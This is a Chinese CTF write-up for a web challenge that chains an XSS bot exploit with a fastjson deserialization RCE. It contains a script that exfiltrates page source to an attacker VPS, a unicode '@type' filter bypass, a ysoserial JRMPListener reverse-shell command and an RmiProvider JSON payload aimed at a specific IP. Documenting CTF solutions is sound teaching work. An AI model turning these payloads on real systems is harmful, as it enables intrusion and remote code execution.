空指针-treasure-Writeup

0x01:XSS

首页发现功能只有两个,一个是hint,一个是submit,而hint页面内容如下:


那么肯定就是要管理员去请求了,接下来看源码中的js文件:

如果对ssrf题目比较熟悉的选手,应该一眼就可以看出可以用域名.的形式绕过,所以我们可以在vps上构造远程读取hint.html页面的js代码,然后提交给bot,让bot去访问,代码如下:

<script>
function createXmlHttp() {
    if (window.XMLHttpRequest) {
        xmlHttp = new XMLHttpRequest()
    } else {
        var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
        for (var n = 0; n < MSXML.length; n++) {
            try {
                xmlHttp = new ActiveXObject(MSXML[n]);
                break
            } catch(e) {}
        }
    }
}
createXmlHttp();
xmlHttp.onreadystatechange = function(){
  if (xmlHttp.readyState == 4) {
        code=xmlHttp.responseText;
        createXmlHttp();
        url = "http://x.x.x.x:9001";
        cc = window.btoa(code);
        xmlHttp.open("POST", url, true);
        xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xmlHttp.send(cc)
  }
};
xmlHttp.open("GET", "/hint.html", true);
xmlHttp.send(null);
</script>

提交给bot拿到源码:


解码后我们可以拿到题目源码,同时可以得知jdk是最新版本以及flag的位置。

0x02:fastjson的反序列化

首先我们要知道,在高本版的jdk下,我们不能远程加载类(默认没开),所以能利用的方式大致为两种,JNDI跟JRMP。
我在翻看了选手们的wp后,发现大部分都是利用了JDNI注入的LDAP去打的利用链,可以参照16年bh的议题:


言归正传,我们先来看控制器的方法:

十分标准的fastjson反序列化操作,然后我们在来看切面中匹配了type关键词,如果匹配到会导致失败异常退出:

if (input.toLowerCase().contains("type")) {return joinPoint.proceed(args);}

我们知道,在json中可以利用Unicode来进行解码,这里就利用Unicode绕过即可。
然后就是痛苦的找包过程,这里我用maven直接把pom.xml的依赖全部下到本地了,然后去看source code,然后就是痛苦的找包过程(其实如果有经验的选手,直接反编译后搜lookup就好了)。
先来看预期解,顺着pom.xml慢慢往下看,会发现其引用了commons-proxy:

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-proxy</artifactId>
    <version>1.0</version>
</dependency>

在org.apache.commons.proxy.provider.remoting.RmiProvider中,我们发现在getObject函数中调用了lookup函数,如下图:


我们知道,parseObject()在处理过程中会调用反序列化目标类的所有setter和getter方法,所以这里只需要我们构造一个JRMP SERVER就可以利用RMI触发。然后再去看pom.xml,发现引用了commons-collections3.2,然后利用yso的commonscollections5打就好了。
操作流程如下,先在vps上启动JRMP:

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1088 CommonsCollections5 '反弹shell'

然后通过submit路由发送:

{"@\u0074ype":"org.apache.commons.proxy.provider.remoting.RmiProvider","host":"118.24.101.241",port:"1088","name":"Object"}

即可最后实现RCE


在我看来,这是最简单的一种做法,只需要启动一个JRMP SERVER来触发反序列化即可。

0x03:另外的做法

既然大部分选手都是用了org.apache.commons.proxy.provider.remoting.SessionBeanProvider这一个链去打,我们来看一下它的实现方法:


可以看到JNDI明显是我们可控的,于是一个典型的JNDI注入就出来了,当然依旧可以通过JRMP去RCE。
JRMP的利用方式跟上文中的一样。
JDNI注入的利用可参考这篇文章:
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html。
其中利用本地Class作为Reference Factory这种方法,在我本地尝试是OK的,但是苦于远程环境搭建过于麻烦…就没远程尝试,有兴趣的师傅可以试一下求告知Orz

PS

在本地测试过程中,发现SessionBeanProvider会报autoType is not support,但为啥题目是可以打的呢?这是由于一个进程下fastjson的缓存原因,有兴趣的读者可以本地自行跟一下。

1 Like